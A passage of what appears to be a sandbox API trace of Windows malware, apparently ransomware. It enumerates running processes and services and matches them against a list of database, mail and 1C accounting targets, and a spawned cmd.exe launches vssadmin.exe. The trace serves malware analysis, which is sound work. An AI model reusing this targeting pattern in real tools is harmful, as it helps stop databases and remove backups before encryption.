(lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0210.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0210.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0210.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0210.349] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.350] lstrlenW (lpString="svchost.exe") returned 11 [0210.350] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0210.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0210.350] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0210.352] lstrlenW (lpString="userinit.exe") returned 12 [0210.352] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0210.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0210.352] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.870] lstrlenW (lpString="explorer.exe") returned 12 [0210.870] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.970] lstrlenW (lpString="dwm.exe") returned 7 [0210.970] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.971] lstrlenW (lpString="svchost.exe") returned 11 [0210.971] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0210.972] lstrlenW (lpString="driver.exe") returned 10 [0210.972] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.973] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.973] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.974] lstrlenW (lpString="taskhost.exe") returned 12 [0210.974] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.975] lstrlenW (lpString="svchost.exe") returned 11 [0210.976] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0210.976] lstrlenW (lpString="dllhost.exe") returned 11 [0210.977] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.978] lstrlenW (lpString="cmd.exe") returned 7 [0210.978] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0210.979] lstrlenW (lpString="reader_sl.exe") returned 13 [0210.979] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.980] lstrlenW (lpString="conhost.exe") returned 11 [0210.981] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0210.982] lstrlenW (lpString="vssadmin.exe") returned 12 [0210.982] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0210.983] CloseHandle (hObject=0x308) returned 1 [0210.983] Sleep (dwMilliseconds=0x1f4) [0211.737] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41da7c0 [0212.062] EnumServicesStatusExW (in: hSCManager=0x41da7c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0212.063] GetLastError () returned 0xea [0212.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa64) returned 0x41c35a8 [0212.063] EnumServicesStatusExW (in: hSCManager=0x41da7c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41c35a8, cbBufSize=0xa64, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41c35a8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0212.063] CloseServiceHandle (hSCObject=0x41da7c0) returned 1 [0212.064] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0212.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.065] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0212.065] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0212.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0212.065] lstrlenW (lpString="AudioSrv") returned 8 [0212.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0212.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0212.065] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0212.065] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0212.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0212.065] lstrlenW (lpString="BFE") returned 3 [0212.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0212.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0212.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0212.066] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0212.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0212.068] lstrlenW (lpString="CscService") returned 10 [0212.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0212.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0212.068] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0212.069] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0212.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0212.069] lstrlenW (lpString="DcomLaunch") returned 10 [0212.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.069] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0212.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0212.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0212.069] lstrlenW (lpString="Dhcp") returned 4 [0212.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0212.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0212.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0212.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0212.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0212.070] lstrlenW (lpString="Dnscache") returned 8 [0212.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0212.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0212.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0212.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0212.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0212.071] lstrlenW (lpString="eventlog") returned 8 [0212.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0212.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0212.071] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0212.071] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0212.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0212.071] lstrlenW (lpString="EventSystem") returned 11 [0212.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0212.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0212.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0212.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0212.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0212.072] lstrlenW (lpString="gpsvc") returned 5 [0212.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0212.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0212.072] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0212.072] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0212.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0212.073] lstrlenW (lpString="lmhosts") returned 7 [0212.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0212.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0212.073] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0212.073] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0212.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0212.073] lstrlenW (lpString="MMCSS") returned 5 [0212.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0212.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0212.073] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0212.073] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0212.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0212.074] lstrlenW (lpString="MpsSvc") returned 6 [0212.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0212.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0212.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0212.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0212.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0212.074] lstrlenW (lpString="nsi") returned 3 [0212.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0212.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0212.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0212.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0212.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0212.075] lstrlenW (lpString="PlugPlay") returned 8 [0212.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0212.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0212.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0212.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0212.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0212.075] lstrlenW (lpString="Power") returned 5 [0212.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0212.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0212.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0212.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0212.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0212.076] lstrlenW (lpString="ProfSvc") returned 7 [0212.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0212.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0212.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0212.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.078] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.079] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.079] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.079] lstrlenW (lpString="RpcSs") returned 5 [0212.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.079] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.079] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.079] lstrlenW (lpString="SamSs") returned 5 [0212.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.084] lstrlenW (lpString="Schedule") returned 8 [0212.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.084] lstrlenW (lpString="SENS") returned 4 [0212.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.084] lstrlenW (lpString="ShellHWDetection") returned 16 [0212.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.085] lstrlenW (lpString="Spooler") returned 7 [0212.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.086] lstrlenW (lpString="Themes") returned 6 [0212.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0212.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0212.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0212.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0212.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0212.088] lstrlenW (lpString="UxSms") returned 5 [0212.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0212.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0212.088] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0212.088] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0212.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0212.088] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41c35a8 | out: hHeap=0x880000) returned 1 [0212.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.097] Process32FirstW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.098] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.100] lstrlenW (lpString="System") returned 6 [0212.100] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0212.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0212.101] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0212.101] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0212.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0212.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0212.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0212.101] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.103] lstrlenW (lpString="smss.exe") returned 8 [0212.103] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0212.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0212.103] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0212.103] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0212.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0212.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0212.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0212.472] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.473] lstrlenW (lpString="csrss.exe") returned 9 [0212.473] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0212.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0212.473] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0212.473] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0212.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0212.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0212.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0212.474] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.481] lstrlenW (lpString="wininit.exe") returned 11 [0212.481] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0212.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0212.481] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0212.481] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0212.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0212.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0212.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0212.482] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.485] lstrlenW (lpString="csrss.exe") returned 9 [0212.485] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0212.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0212.485] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0212.485] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0212.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0212.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0212.486] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0212.486] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.488] lstrlenW (lpString="winlogon.exe") returned 12 [0212.488] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0212.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0212.488] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0212.488] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0212.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0212.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0212.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0212.489] Process32NextW (in: hSnapshot=0x288, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.490] lstrlenW (lpString="services.exe") returned 12 [0212.490] lstrcmpiW 